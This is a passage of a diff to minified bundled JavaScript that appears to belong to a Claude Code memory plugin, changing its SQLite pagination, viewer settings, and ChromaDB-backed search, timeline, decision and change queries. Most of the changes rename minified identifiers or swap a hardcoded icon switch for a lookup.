a=n.cleanupProcessed(100);a>0&&U.debug("SDK","Cleaned up old processed messages",{deletedCount:a})}r&&typeof r.broadcastProcessingStatus=="function"&&r.broadcastProcessingStatus()}findClaudeExecutable(){let r=ct.loadFromFile(In).CLAUDE_CODE_PATH||(0,Fk.execSync)(process.platform==="win32"?"where claude":"which claude",{encoding:"utf8",windowsHide:!0}).trim().split(` +`)[0].trim();if(!r)throw new Error("Claude executable not found in PATH");return r}getModelId(){let e=Uk.default.join((0,zk.homedir)(),".claude-mem","settings.json");return ct.loadFromFile(e).CLAUDE_MEM_MODEL}};var wl=class{dbManager;constructor(e){this.dbManager=e}stripProjectPath(e,r){let n=`/${r}/`,a=e.indexOf(n);return a!==-1?e.substring(a+n.length):e}stripProjectPaths(e,r){if(!e)return e;try{let a=JSON.parse(e).map(s=>this.stripProjectPath(s,r));return JSON.stringify(a)}catch{return e}}sanitizeObservation(e){return{...e,files_read:this.stripProjectPaths(e.files_read,e.project),files_modified:this.stripProjectPaths(e.files_modified,e.project)}}getObservations(e,r,n){let a=this.paginate("observations","id, sdk_session_id, project, type, title, subtitle, narrative, text, facts, concepts, files_read, files_modified, prompt_number, created_at, created_at_epoch",e,r,n);return{...a,items:a.items.map(s=>this.sanitizeObservation(s))}}getSummaries(e,r,n){let a=this.dbManager.getSessionStore().db,s=` SELECT ss.id, s.claude_session_id as session_id, @@ -1144,60 +1048,60 @@ MEMORY PROCESSING CONTINUED SELECT up.id, up.claude_session_id, s.project, up.prompt_number, up.prompt_text, up.created_at, up.created_at_epoch FROM user_prompts up JOIN sdk_sessions s ON up.claude_session_id = s.claude_session_id - `,i=[];n&&(s+=" WHERE s.project = ?",i.push(n)),s+=" ORDER BY up.created_at_epoch DESC LIMIT ? OFFSET ?",i.push(r+1,e);let c=a.prepare(s).all(...i);return{items:c.slice(0,r),hasMore:c.length>r,offset:e,limit:r}}paginate(e,r,n,a,s){let i=this.dbManager.getSessionStore().db,o=`SELECT ${r} FROM ${e}`,c=[];s&&(o+=" WHERE project = ?",c.push(s)),o+=" ORDER BY created_at_epoch DESC LIMIT ? OFFSET ?",c.push(a+1,n);let l=i.prepare(o).all(...c);return{items:l.slice(0,a),hasMore:l.length>a,offset:n,limit:a}}};_t();var xl=class{dbManager;defaultSettings={sidebarOpen:!0,selectedProject:null,theme:"system"};constructor(e){this.dbManager=e}getSettings(){let e=this.dbManager.getSessionStore().db;try{let n=e.prepare("SELECT key, value FROM viewer_settings").all(),a={...this.defaultSettings};for(let s of n){let i=s.key;i in a&&(a[i]=JSON.parse(s.value))}return a}catch(r){return F.debug("WORKER","Failed to load settings, using defaults",{},r),{...this.defaultSettings}}}updateSettings(e){let n=this.dbManager.getSessionStore().db.prepare(` + `,i=[];n&&(s+=" WHERE s.project = ?",i.push(n)),s+=" ORDER BY up.created_at_epoch DESC LIMIT ? OFFSET ?",i.push(r+1,e);let c=a.prepare(s).all(...i);return{items:c.slice(0,r),hasMore:c.length>r,offset:e,limit:r}}paginate(e,r,n,a,s){let i=this.dbManager.getSessionStore().db,o=`SELECT ${r} FROM ${e}`,c=[];s&&(o+=" WHERE project = ?",c.push(s)),o+=" ORDER BY created_at_epoch DESC LIMIT ? OFFSET ?",c.push(a+1,n);let l=i.prepare(o).all(...c);return{items:l.slice(0,a),hasMore:l.length>a,offset:n,limit:a}}};mt();var Sl=class{dbManager;defaultSettings={sidebarOpen:!0,selectedProject:null,theme:"system"};constructor(e){this.dbManager=e}getSettings(){let e=this.dbManager.getSessionStore().db;try{let n=e.prepare("SELECT key, value FROM viewer_settings").all(),a={...this.defaultSettings};for(let s of n){let i=s.key;i in a&&(a[i]=JSON.parse(s.value))}return a}catch(r){return U.debug("WORKER","Failed to load settings, using defaults",{},r),{...this.defaultSettings}}}updateSettings(e){let n=this.dbManager.getSessionStore().db.prepare(` INSERT OR REPLACE INTO viewer_settings (key, value) VALUES (?, ?) - `);for(let[a,s]of Object.entries(e))n.run(a,JSON.stringify(s));return this.getSettings()}};var Nk=require("path");_t();Um();var a7=90,oi=a7*24*60*60*1e3,Sl=class{constructor(e,r,n,a,s){this.sessionSearch=e;this.sessionStore=r;this.chromaSync=n;this.formatter=a;this.timelineService=s}async queryChroma(e,r,n){return await this.chromaSync.queryChroma(e,r,n)}normalizeParams(e){let r={...e};return r.concepts&&typeof r.concepts=="string"&&(r.concepts=r.concepts.split(",").map(n=>n.trim()).filter(Boolean)),r.files&&typeof r.files=="string"&&(r.files=r.files.split(",").map(n=>n.trim()).filter(Boolean)),r.obs_type&&typeof r.obs_type=="string"&&(r.obs_type=r.obs_type.split(",").map(n=>n.trim()).filter(Boolean)),r.type&&typeof r.type=="string"&&r.type.includes(",")&&(r.type=r.type.split(",").map(n=>n.trim()).filter(Boolean)),(r.dateStart||r.dateEnd)&&(r.dateRange={start:r.dateStart,end:r.dateEnd},delete r.dateStart,delete r.dateEnd),r}async search(e){try{let r=this.normalizeParams(e),{query:n,type:a,obs_type:s,concepts:i,files:o,format:c,...u}=r,l=[],d=[],f=[],m=!1,g=!a||a==="observations",b=!a||a==="sessions",p=!a||a==="prompts";if(n)if(this.chromaSync){let w=!1;try{F.debug("SEARCH","Using ChromaDB semantic search",{typeFilter:a||"all"});let T;a==="observations"?T={doc_type:"observation"}:a==="sessions"?T={doc_type:"session_summary"}:a==="prompts"&&(T={doc_type:"user_prompt"});let R=await this.queryChroma(n,100,T);if(w=!0,F.debug("SEARCH","ChromaDB returned semantic matches",{matchCount:R.ids.length}),R.ids.length>0){let A=Date.now()-oi,j=R.metadatas.map((G,te)=>({id:R.ids[te],meta:G,isRecent:G&&G.created_at_epoch>A})).filter(G=>G.isRecent);F.debug("SEARCH","Results within 90-day window",{count:j.length});let q=[],U=[],N=[];for(let G of j){let te=G.meta?.doc_type;te==="observation"&&g?q.push(G.id):te==="session_summary"&&b?U.push(G.id):te==="user_prompt"&&p&&N.push(G.id)}if(F.debug("SEARCH","Categorized results by type",{observations:q.length,sessions:U.length,prompts:N.length}),q.length>0){let G={...u,type:s,concepts:i,files:o};l=this.sessionStore.getObservationsByIds(q,G)}U.length>0&&(d=this.sessionStore.getSessionSummariesByIds(U,{orderBy:"date_desc",limit:u.limit,project:u.project})),N.length>0&&(f=this.sessionStore.getUserPromptsByIds(N,{orderBy:"date_desc",limit:u.limit,project:u.project})),F.debug("SEARCH","Hydrated results from SQLite",{observations:l.length,sessions:d.length,prompts:f.length})}else F.debug("SEARCH","ChromaDB found no matches (final result, no FTS5 fallback)",{})}catch(T){m=!0,F.debug("SEARCH","ChromaDB failed - semantic search unavailable",{error:T.message}),F.debug("SEARCH","Install UVX/Python to enable vector search",{url:"https://docs.astral.sh/uv/getting-started/installation/"}),l=[],d=[],f=[]}}else n&&(m=!0,F.debug("SEARCH","ChromaDB not initialized - semantic search unavailable",{}),F.debug("SEARCH","Install UVX/Python to enable vector search",{url:"https://docs.astral.sh/uv/getting-started/installation/"}),l=[],d=[],f=[]);else{F.debug("SEARCH","Filter-only query (no query text), using direct SQLite filtering",{enablesDateFilters:!0});let w={...u,type:s,concepts:i,files:o};g&&(l=this.sessionSearch.searchObservations(void 0,w)),b&&(d=this.sessionSearch.searchSessions(void 0,u)),p&&(f=this.sessionSearch.searchUserPrompts(void 0,u))}let h=l.length+d.length+f.length;if(c==="json")return{observations:l,sessions:d,prompts:f,totalResults:h,query:n||""};if(h===0)return m?{content:[{type:"text",text:`\u26A0\uFE0F Vector search failed - semantic search unavailable. + `);for(let[a,s]of Object.entries(e))n.run(a,JSON.stringify(s));return this.getSettings()}};var Bk=require("path");mt();Bm();La();var T7=90,ui=T7*24*60*60*1e3,Tl=class{constructor(e,r,n,a,s){this.sessionSearch=e;this.sessionStore=r;this.chromaSync=n;this.formatter=a;this.timelineService=s}async queryChroma(e,r,n){return await this.chromaSync.queryChroma(e,r,n)}normalizeParams(e){let r={...e};return r.concepts&&typeof r.concepts=="string"&&(r.concepts=r.concepts.split(",").map(n=>n.trim()).filter(Boolean)),r.files&&typeof r.files=="string"&&(r.files=r.files.split(",").map(n=>n.trim()).filter(Boolean)),r.obs_type&&typeof r.obs_type=="string"&&(r.obs_type=r.obs_type.split(",").map(n=>n.trim()).filter(Boolean)),r.type&&typeof r.type=="string"&&r.type.includes(",")&&(r.type=r.type.split(",").map(n=>n.trim()).filter(Boolean)),(r.dateStart||r.dateEnd)&&(r.dateRange={start:r.dateStart,end:r.dateEnd},delete r.dateStart,delete r.dateEnd),r}async search(e){try{let r=this.normalizeParams(e),{query:n,type:a,obs_type:s,concepts:i,files:o,format:c,...u}=r,l=[],d=[],f=[],m=!1,g=!a||a==="observations",b=!a||a==="sessions",p=!a||a==="prompts";if(n)if(this.chromaSync){let E=!1;try{U.debug("SEARCH","Using ChromaDB semantic search",{typeFilter:a||"all"});let T;a==="observations"?T={doc_type:"observation"}:a==="sessions"?T={doc_type:"session_summary"}:a==="prompts"&&(T={doc_type:"user_prompt"});let $=await this.queryChroma(n,100,T);if(E=!0,U.debug("SEARCH","ChromaDB returned semantic matches",{matchCount:$.ids.length}),$.ids.length>0){let N=Date.now()-ui,j=$.metadatas.map((W,oe)=>({id:$.ids[oe],meta:W,isRecent:W&&W.created_at_epoch>N})).filter(W=>W.isRecent);U.debug("SEARCH","Results within 90-day window",{count:j.length});let q=[],H=[],A=[];for(let W of j){let oe=W.meta?.doc_type;oe==="observation"&&g?q.push(W.id):oe==="session_summary"&&b?H.push(W.id):oe==="user_prompt"&&p&&A.push(W.id)}if(U.debug("SEARCH","Categorized results by type",{observations:q.length,sessions:H.length,prompts:A.length}),q.length>0){let W={...u,type:s,concepts:i,files:o};l=this.sessionStore.getObservationsByIds(q,W)}H.length>0&&(d=this.sessionStore.getSessionSummariesByIds(H,{orderBy:"date_desc",limit:u.limit,project:u.project})),A.length>0&&(f=this.sessionStore.getUserPromptsByIds(A,{orderBy:"date_desc",limit:u.limit,project:u.project})),U.debug("SEARCH","Hydrated results from SQLite",{observations:l.length,sessions:d.length,prompts:f.length})}else U.debug("SEARCH","ChromaDB found no matches (final result, no FTS5 fallback)",{})}catch(T){m=!0,U.debug("SEARCH","ChromaDB failed - semantic search unavailable",{error:T.message}),U.debug("SEARCH","Install UVX/Python to enable vector search",{url:"https://docs.astral.sh/uv/getting-started/installation/"}),l=[],d=[],f=[]}}else n&&(m=!0,U.debug("SEARCH","ChromaDB not initialized - semantic search unavailable",{}),U.debug("SEARCH","Install UVX/Python to enable vector search",{url:"https://docs.astral.sh/uv/getting-started/installation/"}),l=[],d=[],f=[]);else{U.debug("SEARCH","Filter-only query (no query text), using direct SQLite filtering",{enablesDateFilters:!0});let E={...u,type:s,concepts:i,files:o};g&&(l=this.sessionSearch.searchObservations(void 0,E)),b&&(d=this.sessionSearch.searchSessions(void 0,u)),p&&(f=this.sessionSearch.searchUserPrompts(void 0,u))}let h=l.length+d.length+f.length;if(c==="json")return{observations:l,sessions:d,prompts:f,totalResults:h,query:n||""};if(h===0)return m?{content:[{type:"text",text:`\u26A0\uFE0F Vector search failed - semantic search unavailable. To enable semantic search: 1. Install uv: https://docs.astral.sh/uv/getting-started/installation/ 2. Restart the worker: npm run worker:restart -Note: You can still use filter-only searches (date ranges, types, files) without a query term.`}]}:{content:[{type:"text",text:`No results found matching "${n}"`}]};let y=[...l.map(w=>({type:"observation",data:w,epoch:w.created_at_epoch,created_at:w.created_at})),...d.map(w=>({type:"session",data:w,epoch:w.created_at_epoch,created_at:w.created_at})),...f.map(w=>({type:"prompt",data:w,epoch:w.created_at_epoch,created_at:w.created_at}))];u.orderBy==="date_desc"?y.sort((w,T)=>T.epoch-w.epoch):u.orderBy==="date_asc"&&y.sort((w,T)=>w.epoch-T.epoch);let v=y.slice(0,u.limit||20),_=process.cwd(),S=Ak(v,w=>w.created_at),x=[];x.push(`Found ${h} result(s) matching "${n}" (${l.length} obs, ${d.length} sessions, ${f.length} prompts)`),x.push("");for(let[w,T]of S){x.push(`### ${w}`),x.push("");let R=new Map;for(let A of T){let j="General";A.type==="observation"&&(j=Mn(A.data.files_modified,_)),R.has(j)||R.set(j,[]),R.get(j).push(A)}for(let[A,j]of R){x.push(`**${A}**`),x.push(this.formatter.formatSearchTableHeader());let q="";for(let U of j)if(U.type==="observation"){let N=this.formatter.formatObservationSearchRow(U.data,q);x.push(N.row),q=N.time}else if(U.type==="session"){let N=this.formatter.formatSessionSearchRow(U.data,q);x.push(N.row),q=N.time}else{let N=this.formatter.formatUserPromptSearchRow(U.data,q);x.push(N.row),q=N.time}x.push("")}}return{content:[{type:"text",text:x.join(` -`)}]}}catch(r){return{content:[{type:"text",text:`Search failed: ${r.message}`}],isError:!0}}}async timeline(e){try{let{anchor:r,query:n,depth_before:a=10,depth_after:s=10,project:i}=e,o=process.cwd();if(!r&&!n)return{content:[{type:"text",text:'Error: Must provide either "anchor" or "query" parameter'}],isError:!0};if(r&&n)return{content:[{type:"text",text:'Error: Cannot provide both "anchor" and "query" parameters. Use one or the other.'}],isError:!0};let c,u,l;if(n){let p=[];if(this.chromaSync)try{F.debug("SEARCH","Using hybrid semantic search for timeline query",{});let y=await this.queryChroma(n,100);if(F.debug("SEARCH","Chroma returned semantic matches for timeline",{matchCount:y?.ids?.length??0}),y?.ids&&y.ids.length>0){let v=Date.now()-oi,_=y.ids.filter((S,x)=>{let w=y.metadatas[x];return w&&w.created_at_epoch>v});_.length>0&&(p=this.sessionStore.getObservationsByIds(_,{orderBy:"date_desc",limit:1}))}}catch(y){F.debug("SEARCH","Chroma query failed - no results (FTS5 fallback removed)",{error:y.message})}if(p.length===0)return{content:[{type:"text",text:`No observations found matching "${n}". Try a different search query.`}]};let h=p[0];c=h.id,u=h.created_at_epoch,F.debug("SEARCH","Query mode: Using observation as timeline anchor",{observationId:h.id}),l=this.sessionStore.getTimelineAroundObservation(h.id,h.created_at_epoch,a,s,i)}else if(typeof r=="number"){let p=this.sessionStore.getObservationById(r);if(!p)return{content:[{type:"text",text:`Observation #${r} not found`}],isError:!0};c=r,u=p.created_at_epoch,l=this.sessionStore.getTimelineAroundObservation(r,u,a,s,i)}else if(typeof r=="string")if(r.startsWith("S")||r.startsWith("#S")){let p=r.replace(/^#?S/,""),h=parseInt(p,10),y=this.sessionStore.getSessionSummariesByIds([h]);if(y.length===0)return{content:[{type:"text",text:`Session #${h} not found`}],isError:!0};u=y[0].created_at_epoch,c=`S${h}`,l=this.sessionStore.getTimelineAroundTimestamp(u,a,s,i)}else{let p=new Date(r);if(isNaN(p.getTime()))return{content:[{type:"text",text:`Invalid timestamp: ${r}`}],isError:!0};u=p.getTime(),c=r,l=this.sessionStore.getTimelineAroundTimestamp(u,a,s,i)}else return{content:[{type:"text",text:'Invalid anchor: must be observation ID (number), session ID (e.g., "S123"), or ISO timestamp'}],isError:!0};let d=[...(l.observations||[]).map(p=>({type:"observation",data:p,epoch:p.created_at_epoch})),...(l.sessions||[]).map(p=>({type:"session",data:p,epoch:p.created_at_epoch})),...(l.prompts||[]).map(p=>({type:"prompt",data:p,epoch:p.created_at_epoch}))];d.sort((p,h)=>p.epoch-h.epoch);let f=this.timelineService.filterByDepth(d,c,u,a,s);if(!f||f.length===0)return{content:[{type:"text",text:n?`Found observation matching "${n}", but no timeline context available (${a} records before, ${s} records after).`:`No context found around anchor (${a} records before, ${s} records after)`}]};let m=[];if(n){let p=f.find(y=>y.type==="observation"&&y.data.id===c),h=p&&p.type==="observation"?p.data.title||"Untitled":"Unknown";m.push(`# Timeline for query: "${n}"`),m.push(`**Anchor:** Observation #${c} - ${h}`)}else m.push(`# Timeline around anchor: ${c}`);m.push(`**Window:** ${a} records before \u2192 ${s} records after | **Items:** ${f?.length??0}`),m.push("");let g=new Map;for(let p of f){let h=jn(p.epoch);g.has(h)||g.set(h,[]),g.get(h).push(p)}let b=Array.from(g.entries()).sort((p,h)=>{let y=new Date(p[0]).getTime(),v=new Date(h[0]).getTime();return y-v});for(let[p,h]of b){m.push(`### ${p}`),m.push("");let y=null,v="",_=!1;for(let S of h){let x=typeof c=="number"&&S.type==="observation"&&S.data.id===c||typeof c=="string"&&c.startsWith("S")&&S.type==="session"&&`S${S.data.id}`===c;if(S.type==="session"){_&&(m.push(""),_=!1,y=null,v="");let w=S.data,T=w.request||"Session summary",R=x?" \u2190 **ANCHOR**":"";m.push(`**\u{1F3AF} #S${w.id}** ${T} (${ya(S.epoch)})${R}`),m.push("")}else if(S.type==="prompt"){_&&(m.push(""),_=!1,y=null,v="");let w=S.data,T=w.prompt_text.length>100?w.prompt_text.substring(0,100)+"...":w.prompt_text;m.push(`**\u{1F4AC} User Prompt #${w.prompt_number}** (${ya(S.epoch)})`),m.push(`> ${T}`),m.push("")}else if(S.type==="observation"){let w=S.data,T=Mn(w.files_modified,o);T!==y&&(_&&m.push(""),m.push(`**${T}**`),m.push("| ID | Time | T | Title | Tokens |"),m.push("|----|------|---|-------|--------|"),y=T,_=!0,v="");let R="\u2022";switch(w.type){case"bugfix":R="\u{1F534}";break;case"feature":R="\u{1F7E3}";break;case"refactor":R="\u{1F504}";break;case"change":R="\u2705";break;case"discovery":R="\u{1F535}";break;case"decision":R="\u{1F9E0}";break}let A=ii(S.epoch),j=w.title||"Untitled",q=wl(w.narrative),N=A!==v?A:"\u2033";v=A;let G=x?" \u2190 **ANCHOR**":"";m.push(`| #${w.id} | ${N} | ${R} | ${j}${G} | ~${q} |`)}}_&&m.push("")}return{content:[{type:"text",text:m.join(` -`)}]}}catch(r){return{content:[{type:"text",text:`Timeline query failed: ${r.message}`}],isError:!0}}}async decisions(e){try{let r=this.normalizeParams(e),{query:n,...a}=r,s=[];if(this.chromaSync)try{if(n){F.debug("SEARCH","Using Chroma semantic search with type=decision filter",{});let u=(await this.queryChroma(n,Math.min((a.limit||20)*2,100),{type:"decision"})).ids;u.length>0&&(s=this.sessionStore.getObservationsByIds(u,{...a,type:"decision"}),s.sort((l,d)=>u.indexOf(l.id)-u.indexOf(d.id)))}else{F.debug("SEARCH","Using metadata-first + semantic ranking for decisions",{});let c=this.sessionSearch.findByType("decision",a);if(c.length>0){let u=c.map(f=>f.id),l=await this.queryChroma("decision",Math.min(u.length,100)),d=[];for(let f of l.ids)u.includes(f)&&!d.includes(f)&&d.push(f);d.length>0&&(s=this.sessionStore.getObservationsByIds(d,{limit:a.limit||20}),s.sort((f,m)=>d.indexOf(f.id)-d.indexOf(m.id)))}}}catch(c){F.debug("SEARCH","Chroma search failed, using SQLite fallback",{error:c.message})}if(s.length===0&&(s=this.sessionSearch.findByType("decision",a)),s.length===0)return{content:[{type:"text",text:"No decision observations found"}]};let i=`Found ${s.length} decision(s) +Note: You can still use filter-only searches (date ranges, types, files) without a query term.`}]}:{content:[{type:"text",text:`No results found matching "${n}"`}]};let y=[...l.map(E=>({type:"observation",data:E,epoch:E.created_at_epoch,created_at:E.created_at})),...d.map(E=>({type:"session",data:E,epoch:E.created_at_epoch,created_at:E.created_at})),...f.map(E=>({type:"prompt",data:E,epoch:E.created_at_epoch,created_at:E.created_at}))];u.orderBy==="date_desc"?y.sort((E,T)=>T.epoch-E.epoch):u.orderBy==="date_asc"&&y.sort((E,T)=>E.epoch-T.epoch);let v=y.slice(0,u.limit||20),_=process.cwd(),S=Hk(v,E=>E.created_at),x=[];x.push(`Found ${h} result(s) matching "${n}" (${l.length} obs, ${d.length} sessions, ${f.length} prompts)`),x.push("");for(let[E,T]of S){x.push(`### ${E}`),x.push("");let $=new Map;for(let N of T){let j="General";N.type==="observation"&&(j=Fn(N.data.files_modified,_)),$.has(j)||$.set(j,[]),$.get(j).push(N)}for(let[N,j]of $){x.push(`**${N}**`),x.push(this.formatter.formatSearchTableHeader());let q="";for(let H of j)if(H.type==="observation"){let A=this.formatter.formatObservationSearchRow(H.data,q);x.push(A.row),q=A.time}else if(H.type==="session"){let A=this.formatter.formatSessionSearchRow(H.data,q);x.push(A.row),q=A.time}else{let A=this.formatter.formatUserPromptSearchRow(H.data,q);x.push(A.row),q=A.time}x.push("")}}return{content:[{type:"text",text:x.join(` +`)}]}}catch(r){return{content:[{type:"text",text:`Search failed: ${r.message}`}],isError:!0}}}async timeline(e){try{let{anchor:r,query:n,depth_before:a=10,depth_after:s=10,project:i}=e,o=process.cwd();if(!r&&!n)return{content:[{type:"text",text:'Error: Must provide either "anchor" or "query" parameter'}],isError:!0};if(r&&n)return{content:[{type:"text",text:'Error: Cannot provide both "anchor" and "query" parameters. Use one or the other.'}],isError:!0};let c,u,l;if(n){let p=[];if(this.chromaSync)try{U.debug("SEARCH","Using hybrid semantic search for timeline query",{});let y=await this.queryChroma(n,100);if(U.debug("SEARCH","Chroma returned semantic matches for timeline",{matchCount:y?.ids?.length??0}),y?.ids&&y.ids.length>0){let v=Date.now()-ui,_=y.ids.filter((S,x)=>{let E=y.metadatas[x];return E&&E.created_at_epoch>v});_.length>0&&(p=this.sessionStore.getObservationsByIds(_,{orderBy:"date_desc",limit:1}))}}catch(y){U.debug("SEARCH","Chroma query failed - no results (FTS5 fallback removed)",{error:y.message})}if(p.length===0)return{content:[{type:"text",text:`No observations found matching "${n}". Try a different search query.`}]};let h=p[0];c=h.id,u=h.created_at_epoch,U.debug("SEARCH","Query mode: Using observation as timeline anchor",{observationId:h.id}),l=this.sessionStore.getTimelineAroundObservation(h.id,h.created_at_epoch,a,s,i)}else if(typeof r=="number"){let p=this.sessionStore.getObservationById(r);if(!p)return{content:[{type:"text",text:`Observation #${r} not found`}],isError:!0};c=r,u=p.created_at_epoch,l=this.sessionStore.getTimelineAroundObservation(r,u,a,s,i)}else if(typeof r=="string")if(r.startsWith("S")||r.startsWith("#S")){let p=r.replace(/^#?S/,""),h=parseInt(p,10),y=this.sessionStore.getSessionSummariesByIds([h]);if(y.length===0)return{content:[{type:"text",text:`Session #${h} not found`}],isError:!0};u=y[0].created_at_epoch,c=`S${h}`,l=this.sessionStore.getTimelineAroundTimestamp(u,a,s,i)}else{let p=new Date(r);if(isNaN(p.getTime()))return{content:[{type:"text",text:`Invalid timestamp: ${r}`}],isError:!0};u=p.getTime(),c=r,l=this.sessionStore.getTimelineAroundTimestamp(u,a,s,i)}else return{content:[{type:"text",text:'Invalid anchor: must be observation ID (number), session ID (e.g., "S123"), or ISO timestamp'}],isError:!0};let d=[...(l.observations||[]).map(p=>({type:"observation",data:p,epoch:p.created_at_epoch})),...(l.sessions||[]).map(p=>({type:"session",data:p,epoch:p.created_at_epoch})),...(l.prompts||[]).map(p=>({type:"prompt",data:p,epoch:p.created_at_epoch}))];d.sort((p,h)=>p.epoch-h.epoch);let f=this.timelineService.filterByDepth(d,c,u,a,s);if(!f||f.length===0)return{content:[{type:"text",text:n?`Found observation matching "${n}", but no timeline context available (${a} records before, ${s} records after).`:`No context found around anchor (${a} records before, ${s} records after)`}]};let m=[];if(n){let p=f.find(y=>y.type==="observation"&&y.data.id===c),h=p&&p.type==="observation"?p.data.title||"Untitled":"Unknown";m.push(`# Timeline for query: "${n}"`),m.push(`**Anchor:** Observation #${c} - ${h}`)}else m.push(`# Timeline around anchor: ${c}`);m.push(`**Window:** ${a} records before \u2192 ${s} records after | **Items:** ${f?.length??0}`),m.push("");let g=new Map;for(let p of f){let h=Ln(p.epoch);g.has(h)||g.set(h,[]),g.get(h).push(p)}let b=Array.from(g.entries()).sort((p,h)=>{let y=new Date(p[0]).getTime(),v=new Date(h[0]).getTime();return y-v});for(let[p,h]of b){m.push(`### ${p}`),m.push("");let y=null,v="",_=!1;for(let S of h){let x=typeof c=="number"&&S.type==="observation"&&S.data.id===c||typeof c=="string"&&c.startsWith("S")&&S.type==="session"&&`S${S.data.id}`===c;if(S.type==="session"){_&&(m.push(""),_=!1,y=null,v="");let E=S.data,T=E.request||"Session summary",$=x?" \u2190 **ANCHOR**":"";m.push(`**\u{1F3AF} #S${E.id}** ${T} (${xa(S.epoch)})${$}`),m.push("")}else if(S.type==="prompt"){_&&(m.push(""),_=!1,y=null,v="");let E=S.data,T=E.prompt_text.length>100?E.prompt_text.substring(0,100)+"...":E.prompt_text;m.push(`**\u{1F4AC} User Prompt #${E.prompt_number}** (${xa(S.epoch)})`),m.push(`> ${T}`),m.push("")}else if(S.type==="observation"){let E=S.data,T=Fn(E.files_modified,o);T!==y&&(_&&m.push(""),m.push(`**${T}**`),m.push("| ID | Time | T | Title | Tokens |"),m.push("|----|------|---|-------|--------|"),y=T,_=!0,v="");let $=$t.getInstance().getTypeIcon(E.type),N=ci(S.epoch),j=E.title||"Untitled",q=El(E.narrative),A=N!==v?N:"\u2033";v=N;let W=x?" \u2190 **ANCHOR**":"";m.push(`| #${E.id} | ${A} | ${$} | ${j}${W} | ~${q} |`)}}_&&m.push("")}return{content:[{type:"text",text:m.join(` +`)}]}}catch(r){return{content:[{type:"text",text:`Timeline query failed: ${r.message}`}],isError:!0}}}async decisions(e){try{let r=this.normalizeParams(e),{query:n,...a}=r,s=[];if(this.chromaSync)try{if(n){U.debug("SEARCH","Using Chroma semantic search with type=decision filter",{});let u=(await this.queryChroma(n,Math.min((a.limit||20)*2,100),{type:"decision"})).ids;u.length>0&&(s=this.sessionStore.getObservationsByIds(u,{...a,type:"decision"}),s.sort((l,d)=>u.indexOf(l.id)-u.indexOf(d.id)))}else{U.debug("SEARCH","Using metadata-first + semantic ranking for decisions",{});let c=this.sessionSearch.findByType("decision",a);if(c.length>0){let u=c.map(f=>f.id),l=await this.queryChroma("decision",Math.min(u.length,100)),d=[];for(let f of l.ids)u.includes(f)&&!d.includes(f)&&d.push(f);d.length>0&&(s=this.sessionStore.getObservationsByIds(d,{limit:a.limit||20}),s.sort((f,m)=>d.indexOf(f.id)-d.indexOf(m.id)))}}}catch(c){U.debug("SEARCH","Chroma search failed, using SQLite fallback",{error:c.message})}if(s.length===0&&(s=this.sessionSearch.findByType("decision",a)),s.length===0)return{content:[{type:"text",text:"No decision observations found"}]};let i=`Found ${s.length} decision(s) ${this.formatter.formatTableHeader()}`,o=s.map((c,u)=>this.formatter.formatObservationIndex(c,u));return{content:[{type:"text",text:i+` `+o.join(` -`)}]}}catch(r){return{content:[{type:"text",text:`Search failed: ${r.message}`}],isError:!0}}}async changes(e){try{let r=this.normalizeParams(e),{...n}=r,a=[];if(this.chromaSync)try{F.debug("SEARCH","Using hybrid search for change-related observations",{});let o=this.sessionSearch.findByType("change",n),c=this.sessionSearch.findByConcept("change",n),u=this.sessionSearch.findByConcept("what-changed",n),l=new Set;if([...o,...c,...u].forEach(d=>l.add(d.id)),l.size>0){let d=Array.from(l),f=await this.queryChroma("what changed",Math.min(d.length,100)),m=[];for(let g of f.ids)d.includes(g)&&!m.includes(g)&&m.push(g);m.length>0&&(a=this.sessionStore.getObservationsByIds(m,{limit:n.limit||20}),a.sort((g,b)=>m.indexOf(g.id)-m.indexOf(b.id)))}}catch(o){F.debug("SEARCH","Chroma ranking failed, using SQLite order",{error:o.message})}if(a.length===0){let o=this.sessionSearch.findByType("change",n),c=this.sessionSearch.findByConcept("change",n),u=this.sessionSearch.findByConcept("what-changed",n),l=new Set;[...o,...c,...u].forEach(d=>l.add(d.id)),a=Array.from(l).map(d=>o.find(f=>f.id===d)||c.find(f=>f.id===d)||u.find(f=>f.id===d)).filter(Boolean),a.sort((d,f)=>f.created_at_epoch-d.created_at_epoch),a=a.slice(0,n.limit||20)}if(a.length===0)return{content:[{type:"text",text:"No change-related observations found"}]};let s=`Found ${a.length} change-related observation(s) +`)}]}}catch(r){return{content:[{type:"text",text:`Search failed: ${r.message}`}],isError:!0}}}async changes(e){try{let r=this.normalizeParams(e),{...n}=r,a=[];if(this.chromaSync)try{U.debug("SEARCH","Using hybrid search for change-related observations",{});let o=this.sessionSearch.findByType("change",n),c=this.sessionSearch.findByConcept("change",n),u=this.sessionSearch.findByConcept("what-changed",n),l=new Set;if([...o,...c,...u].forEach(d=>l.add(d.id)),l.size>0){let d=Array.from(l),f=await this.queryChroma("what changed",Math.min(d.length,100)),m=[];for(let g of f.ids)d.includes(g)&&!m.includes(g)&&m.push(g);m.length>0&&(a=this.sessionStore.getObservationsByIds(m,{limit:n.limit||20}),a.sort((g,b)=>m.indexOf(g.id)-m.indexOf(b.id)))}}catch(o){U.debug("SEARCH","Chroma ranking failed, using SQLite order",{error:o.message})}if(a.length===0){let o=this.sessionSearch.findByType("change",n),c=this.sessionSearch.findByConcept("change",n),u=this.sessionSearch.findByConcept("what-changed",n),l=new Set;[...o,...c,...u].forEach(d=>l.add(d.id)),a=Array.from(l).map(d=>o.find(f=>f.id===d)||c.find(f=>f.id===d)||u.find(f=>f.id===d)).filter(Boolean),a.sort((d,f)=>f.created_at_epoch-d.created_at_epoch),a=a.slice(0,n.limit||20)}if(a.length===0)return{content:[{type:"text",text:"No change-related observations found"}]};let s=`Found ${a.length} change-related observation(s) ${this.formatter.formatTableHeader()}`,i=a.map((o,c)=>this.formatter.formatObservationIndex(o,c));return{content:[{type:"text",text:s+` `+i.join(` -`)}]}}catch(r){return{content:[{type:"text",text:`Search failed: ${r.message}`}],isError:!0}}}async howItWorks(e){try{let r=this.normalizeParams(e),{...n}=r,a=[];if(this.chromaSync)try{F.debug("SEARCH","Using metadata-first + semantic ranking for how-it-works",{});let o=this.sessionSearch.findByConcept("how-it-works",n);if(o.length>0){let c=o.map(d=>d.id),u=await this.queryChroma("how it works architecture",Math.min(c.length,100)),l=[];for(let d of u.ids)c.includes(d)&&!l.includes(d)&&l.push(d);l.length>0&&(a=this.sessionStore.getObservationsByIds(l,{limit:n.limit||20}),a.sort((d,f)=>l.indexOf(d.id)-l.indexOf(f.id)))}}catch(o){F.debug("SEARCH","Chroma ranking failed, using SQLite 